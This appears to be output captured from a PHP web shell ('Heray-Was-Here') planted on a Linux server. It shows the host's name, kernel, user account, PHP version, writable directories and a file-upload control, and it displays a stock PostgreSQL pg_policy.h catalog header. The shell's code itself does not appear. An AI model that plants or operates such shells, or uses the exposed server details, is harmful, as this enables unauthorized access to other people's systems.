Heray-Was-Here
Server : Apache
System : Linux vps43555.mylogin.co 3.10.0-1160.53.1.vz7.185.3 #1 SMP Tue Jan 25 12:49:12 MSK 2022 x86_64
User : redsea ( 60651)
PHP Version : 7.4.32
Disable Function : NONE
Directory :  /usr/pgsql-9.6/include/server/catalog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/pgsql-9.6/include/server/catalog/pg_policy.h
/*
 * pg_policy.h
 *	 definition of the system "policy" relation (pg_policy)
 *
 * Portions Copyright (c) 1996-2016, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 */
#ifndef PG_POLICY_H
#define PG_POLICY_H

#include "catalog/genbki.h"

/* ----------------
 *		pg_policy definition. cpp turns this into
 *		typedef struct FormData_pg_policy
 * ----------------
 */
#define PolicyRelationId	3256

CATALOG(pg_policy,3256)
{
	NameData	polname;		/* Policy name. */
	Oid			polrelid;		/* Oid of the relation with policy. */
	char		polcmd;			/* One of ACL_*_CHR, or '*' for all */

#ifdef CATALOG_VARLEN
	Oid			polroles[1];	/* Roles associated with policy, not-NULL */
	pg_node_tree polqual;		/* Policy quals. */
	pg_node_tree polwithcheck;	/* WITH CHECK quals. */
#endif
} FormData_pg_policy;

/* ----------------
 *		Form_pg_policy corresponds to a pointer to a row with
 *		the format of pg_policy relation.
 * ----------------
 */
typedef FormData_pg_policy *Form_pg_policy;

/* ----------------
 *		compiler constants for pg_policy
 * ----------------
 */
#define Natts_pg_policy				6
#define Anum_pg_policy_polname		1
#define Anum_pg_policy_polrelid		2
#define Anum_pg_policy_polcmd		3
#define Anum_pg_policy_polroles		4
#define Anum_pg_policy_polqual		5
#define Anum_pg_policy_polwithcheck 6

#endif   /* PG_POLICY_H */

Hry